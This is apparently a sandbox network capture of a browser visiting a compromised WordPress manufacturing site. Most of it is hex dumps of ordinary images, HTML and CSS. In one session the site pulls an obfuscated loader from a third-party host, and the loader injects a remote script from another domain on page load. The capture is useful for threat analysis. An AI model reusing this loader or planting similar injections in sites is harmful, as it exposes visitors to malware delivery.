2024-10-07 11:17:39 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 1e 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xm
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 00 00 00 00 00 00 00 06 b2 84 27 84 a2 a4 b9 55 4d 80 11 2f 70 dc a5 d5 dd dd 7b 63 f9 ca fc c7 08 bb 6d 6f 5a fe 24 56 ad 7d 45 d8 25 f9 94 79 3b 96 71 a4 a3 bb 2d 4c c5 ab d7 32 b2 d0 dd 97 f0 ac 77 79 bd dd 47 a5 cc 64 ec e6 13 de 54 93 f8 97 b4 a5 cd e4 ae e5 e4 d4 95 61 a9 98 b3 07 4d e8 ce 0a 51 75 4f 13 46 c8 96 e7 2c bb 7a 5d 96 fb 4b 4b 8b db 1f 6a 25 39 26 93 4e a9 e2 9a 21 ae 77 a0 a6 aa d5 75 35 b5 3d 28 a8 e1 7b b6 ee df e1 77 9e 15 71 8d 7e 57 8c 19 73 bc 8a 6e 2f 07 67 37 97 ce db c3 7b f8 73 6b 54 a3 8c 5f 50 2f b5 8e 5f 8a ac af 0c bb c3 6e 5b 7e 32 de 84 5f c3 49 69 a9 03 2b 3d cb 9e 1c bb b3 d1 ce 74 cd b8 de 8c 33 71 54 73 54 b8 96 a9 2d 24 69 57 06 b5 17 75 16 b6 e8 d3 5b 0b 3e 15 7f c3 b8 ed 49 e1 2d 1e cf 77 51 51 66 6a 51 8d c4 f4 Data Ascii: 'UM/p{cmoZ$V}E%y;q-L2wyGdTaMQuOF,z]KKj%9&N!wu5=({wq~Wsn/g7{skT_P/_n[~2_Ii+=t3qTsT-$iWu[>I-wQQfjQ
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 79 9b cf 1a e3 c8 da 31 e6 6f 3d 2d f5 c9 7a 98 ed 0c 5a 02 b1 66 6f 6a 97 a5 bf 5b 1e 3d dd 3b ce bf 8a 5f bc 3b 18 b3 05 67 8f 7b e6 7d 6f de 3c 7b df 33 f4 93 b1 8b 30 55 bb f7 34 57 0d 95 7e f3 3e 62 f7 cc c7 63 16 60 ac f3 17 9e 99 3f 4a f5 31 e6 2f 7c cf d2 5e c6 2c c1 56 ef dd f9 99 9f 1a f6 b9 b1 d8 c5 98 2b 7c 6b bf 33 31 e3 5c f9 87 63 16 60 ac f1 ae ea 90 f1 ee fc cc 69 8b 30 56 ab d7 7e 66 65 5e bb f3 37 d6 34 c5 88 20 2b d7 69 de c0 78 b7 76 fa 5f bc 69 89 e0 af f1 67 b5 fe d4 bf 78 ca b9 3d 35 78 7e 94 bf 78 69 89 e0 81 e3 5d d3 5c 79 df bc 78 f7 76 fa fd e3 4c 4f 04 0f 1a ee b6 fa da f6 99 f1 6e ed 7d 6f de 34 c4 e0 41 57 6e bd bd 6c cf 89 73 6b eb 63 61 89 a0 89 1b d7 52 f7 e2 63 c7 bb f9 7f c0 6c 32 a6 02 1f 8f 73 6b eb 5f ba 65 df b9 b5 Data Ascii: y1o=-zZfoj[=;_;g{}o<{30U4W~>bc`?J1/\|^,V+\|k31\c`i0V~fe^74 +ixv_igx=5x~xi]\yxvLOn}o4AWnlskcaRcl2sk_e
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 74 8f b1 23 47 91 8b a5 25 4d b8 57 da 4b 06 b0 42 7c 36 db 5d e7 f9 74 9a ae 17 05 f1 2a 7e 1f ce 4f 04 c8 21 c3 87 42 32 52 de ad 35 6e a5 ea 30 f8 7d 57 7d 37 cc ff 00 78 9a 06 41 5e f2 37 56 2a 9d 0f f3 23 47 97 cd 45 68 93 5b 1d 25 ed 91 66 06 41 52 a1 76 3d a9 42 51 7f 0e ea dd c7 a9 11 a7 6e e3 6d c6 dc d4 b5 3d e9 32 fc 0e a2 8d 65 73 37 b7 23 1b 78 41 56 53 75 ac a4 d6 38 ba 2c 1e c1 3c 86 66 38 b8 be 85 5f 51 78 07 51 e6 e4 d4 23 27 37 ba 96 96 f4 75 9c ec dc b7 72 dc 37 1a 96 ea a4 9c 5a 6a af 1a 61 ac 93 9f b6 9d fb 96 da 52 8c aa 9c 69 83 4d bc 1a 23 5a b3 6e c4 15 bb 50 8d bb 7a 63 18 24 a3 d1 43 22 42 d0 71 7a 4e ab 41 c9 eb 22 b5 9f 70 cb ef 3e 73 13 fe 59 97 de 7c e1 1b 47 f9 b0 e5 f7 18 46 57 f3 6d fe 5a 8d 57 bc 0d a1 de 13 ef 88 f7 8c Data Ascii: t#G%MWKB\|6]t~O!B2R5n0}W}7xA^7V#GEh[%fARv=BQnm=2es7#xAVSu8,<f8_QxQ#'7ur7ZjaRiM#ZnPzc$C"BqzNA"p>sY\|GFWmZW
2024-10-07 11:17:39 UTC	7380	IN	Data Raw: 26 9c 2d c2 4f 52 94 77 97 53 25 bb 4e fc d5 c9 5b 85 98 d1 2d cb 6b 75 3e 56 b5 01 a5 a8 39 ba bd 04 a5 44 a8 b4 05 14 b0 5a 0c d0 2b 21 18 32 b0 03 64 62 5a 0c 54 d6 72 c0 03 a1 ab 66 ae 46 ae 55 20 cb 92 af 40 94 9a 84 a5 a1 a8 b6 9e c7 4c 18 b6 ab 88 ba ab 6a e2 5f 2c bd 40 79 86 db 55 6e ad e9 7b 59 ae 97 ce 65 d2 88 da d4 77 a6 54 5a f0 d8 52 0e 4c ce 69 d6 49 6c f6 92 32 f6 d5 bc b2 db 22 25 de d5 d7 ce 41 a2 5d 9c 4d 5a a1 d5 aa b3 14 54 e6 2a 2c 2c 71 8f 0f 85 dc c8 4a 0e 52 75 50 9e a4 9b ab 2b 69 a9 18 6a 8c e9 05 f1 6b d4 07 4b 73 71 49 6a a9 da 53 6d 2c 4e 16 eb 5a bd 08 91 94 b3 3c de 62 16 6d ad 2f 17 b1 6b 22 ae f8 06 57 b2 f3 53 5a 70 87 bc ba 34 b5 6a 36 6d c6 dc 3b b1 54 46 e6 e4 c6 80 01 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: &-ORwS%N[-ku>V9DZ+!2dbZTrfFU @Lj_,@yUn{YewTZRLiIl2"%A]MZT*,,qJRuP+ijkKsqIjSm,NZ<bm/k"WSZp4j6m;TF@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49978	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:40 UTC	687	OUT	GET /2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Upr_CD391.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:40 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:40 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 06 Apr 2018 15:56:03 GMT Accept-Ranges: bytes Content-Length: 29948 Content-Type: image/jpeg
2024-10-07 11:17:40 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 1e 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xm
2024-10-07 11:17:40 UTC	8000	IN	Data Raw: 72 bf ec 3d ca 74 11 a4 5d 38 78 9f 91 b5 fe b7 b0 7e 4b 2f eb 7b 0f 6f 4a e4 34 ae 42 e9 c3 e6 2e fa 3d d9 3a 46 e3 c3 a6 86 96 3d 1e ed 7c 52 af 2c 4f 7a 56 a2 df c3 ed 11 b6 d2 a6 9a 76 8a 4c 79 d1 f4 54 d7 c7 de 1f a2 25 f8 93 ef 3d 35 16 b8 3e f2 68 f9 3e f2 51 e6 2f 46 5c fd a5 2e 7a 54 d4 e3 6e cd b7 39 cb 19 4e 52 d3 6e 11 e9 e2 db e4 bb 4f 5a 92 0a 52 83 aa 4d e1 46 ab ee e0 5c d1 e5 4b d0 77 4d ff 00 2f 75 1b 71 e1 17 6f cc 7f c5 aa 25 97 a0 ee 12 c7 75 19 3f fd ba 7b a6 7a ce fd a5 f1 cb 47 ef f8 7f ea 27 cd b5 4a eb 8d 39 d5 15 1e 4c 7d 12 f2 ab 95 c8 cb 0c 12 d5 1c 7a 71 66 76 76 17 9c a5 6e fc 1d 9b b1 c5 38 cf 5d b9 c7 e6 84 b0 6b 3c a4 bb cf 6b ce b4 f2 92 97 44 7c 4f b9 19 cd ca 4e aa 2d 51 34 97 5b 58 be e1 a3 ce fc be 6b 05 39 2f f1 15 Data Ascii: r=t]8x~K/{oJ4B.=:F=\|R,OzVvLyT%=5>h>Q/F\.zTn9NRnOZRMF\KwM/uqo%u?{zG'J9L}zqfvvn8]k<kD\|ON-Q4[Xk9/
2024-10-07 11:17:40 UTC	8000	IN	Data Raw: 47 4a bc 9b a2 25 dd 8f 33 90 81 47 62 bb 15 8e 45 e1 7e 11 54 8e 3e c3 8a b8 50 57 a4 0e ef 3b 9a aa 27 cf 86 35 54 38 35 74 93 57 cc 0e d5 b8 85 78 b4 5d 6e a1 4a 35 5f 79 e7 eb 64 6b 60 7a 33 bf 09 d3 44 34 34 b1 75 ad 7a 49 85 d8 ac e3 a9 51 55 37 c7 b0 f3 95 d9 73 27 cd 97 30 3d 07 7a 18 a5 6d 51 ba a4 db c1 72 34 5b a4 9a 7e 54 1b 59 d6 ae a7 97 e7 48 ba bd 2a 01 e9 2d e5 25 55 62 d5 3e 5a 3a 7b cb 2d cc 9d c7 e5 da 82 6f f0 a5 55 ef 3c bf 36 5c d1 75 b8 b8 95 15 12 e3 4e 20 74 5c 9c bc da 3a 55 47 1a 64 aa 5a 37 e5 05 87 17 9f 49 ca af f8 9d 7a 11 67 75 38 a5 ca ad 94 6b 7a fb 71 a3 6f 17 c3 03 ae d6 ea 54 56 dd 74 f0 8f 51 e6 4a 51 93 8a 75 cf 81 d2 a7 4e 3d 40 76 ab 97 ae 28 24 9c 96 55 d5 8f 3e 3c 0e 7d d2 d3 07 72 b9 c9 26 dd 53 55 79 94 57 9d Data Ascii: GJ%3GbE~T>PW;'5T85tWx]nJ5_ydk`z3D44uzIQU7s'0=zmQr4[~TYH*-%Ub>Z:{-oU<6\uN t\:UGdZ7Izgu8kzqoTVtQJQuN=@v($U><}r&SUyW
2024-10-07 11:17:40 UTC	5990	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 82 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac e1 0b 91 71 9c 54 a2 f3 4d 55 1e 66 ef d0 ec dc ac f6 ef cb 9b fc 2f e1 67 aa 00 f9 fb 7e 89 bb 9c a9 76 4a 11 f9 ab 5e e3 d0 b1 e8 bb 2b 58 ca 2e e4 b8 b6 fe e3 d0 05 a4 73 ad 8e cd 2a 2b 30 a3 fd 94 63 7f d1 bd 3e fc 5a 95 ad 3d 31 c3 f5 1d c0 83 e5 bd 43 fb 7b 71 b7 83 9e d9 f9 f6 a3 8e 8a 78 97 4a fd 47 8e e2 f1 4f 35 9c 5e 67 e8 27 9f bf f4 7d a6 f5 39 35 e5 de e1 72 3f 6f 32 df ca 47 c2 5c db ea 6e 50 aa 7c d7 da 64 e3 38 61 2c 57 cc 8f 63 d4 3d 3f 73 b0 9a 8e e2 2e 50 7f 05 d8 71 fb fb 4e 49 42 2d 73 fd a5 f6 a0 38 93 2c a5 4e b2 f7 2c b8 bf 0f 13 3c 6b 88 1b 42 ef 06 6b Data Ascii: @qTMUf/g~vJ^+X.s*+0c>Z=1C{qxJGO5^g'}95r?o2G\nP\|d8a,Wc=?s.PqNIB-s8,N,<kBk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49993	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:42 UTC	928	OUT	GET /services/forming-analysis/ HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:43 UTC	473	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:42 GMT Server: Apache Link: <https://www.twbcompany.com/wp-json/>; rel="https://api.w.org/", <https://www.twbcompany.com/wp-json/wp/v2/pages/106>; rel="alternate"; type="application/json", <https://www.twbcompany.com/?p=106>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 11:17:43 UTC	7719	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 36 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 45 4e 48 22 3e 3c Data Ascii: 4000<!DOCTYPE html>...[if IE 6]><html id="ie6" lang="en-US"><![endif]-->...[if IE 7]><html id="ie7" lang="en-US"><![endif]-->...[if IE 8]><html id="ie8" lang="en-US"><![endif]-->...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="ENH"><
2024-10-07 11:17:43 UTC	8671	IN	Data Raw: 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 29 3b 69 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 Data Ascii: e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"und
2024-10-07 11:17:43 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 11:17:43 UTC	8192	IN	Data Raw: 34 30 30 30 0d 0a 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d Data Ascii: 4000-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--
2024-10-07 11:17:43 UTC	8198	IN	Data Raw: 65 20 41 6e 61 6c 79 74 69 63 73 0d 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 31 33 38 34 34 38 34 30 2d 31 27 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0d 0a 0d 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 27 55 41 2d 31 Data Ascii: e Analytics<script async src='https://www.googletagmanager.com/gtag/js?id=UA-13844840-1'></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config','UA-1
2024-10-07 11:17:43 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 11:17:43 UTC	2632	IN	Data Raw: 61 33 63 0d 0a 4e 45 44 2d 32 2e 35 2e 32 34 2e 70 64 66 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 32 30 31 36 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 77 62 5f 32 30 31 36 2f 61 73 73 65 74 73 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 73 2f 69 73 6f 2d 74 73 31 36 39 34 39 2e 70 6e 67 22 20 61 6c 74 3d 22 49 53 4f 20 54 53 31 36 39 34 39 20 43 65 72 74 69 66 69 65 64 22 20 77 69 64 74 68 3d 22 36 30 22 20 2f 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 09 09 09 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 32 30 31 36 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 Data Ascii: a3cNED-2.5.24.pdf" target="_blank"><img src="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png" alt="ISO TS16949 Certified" width="60" /></a></li><li><a href="https://www.twbcompany.com/2016/wp-content/u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49995	77.232.36.155	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:43 UTC	560	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:43 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 227 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 11:17:43 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 11:17:43 UTC	227	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 3b Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49994	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:43 UTC	894	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/services/forming-analysis/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:43 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:43 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:43 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50004	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
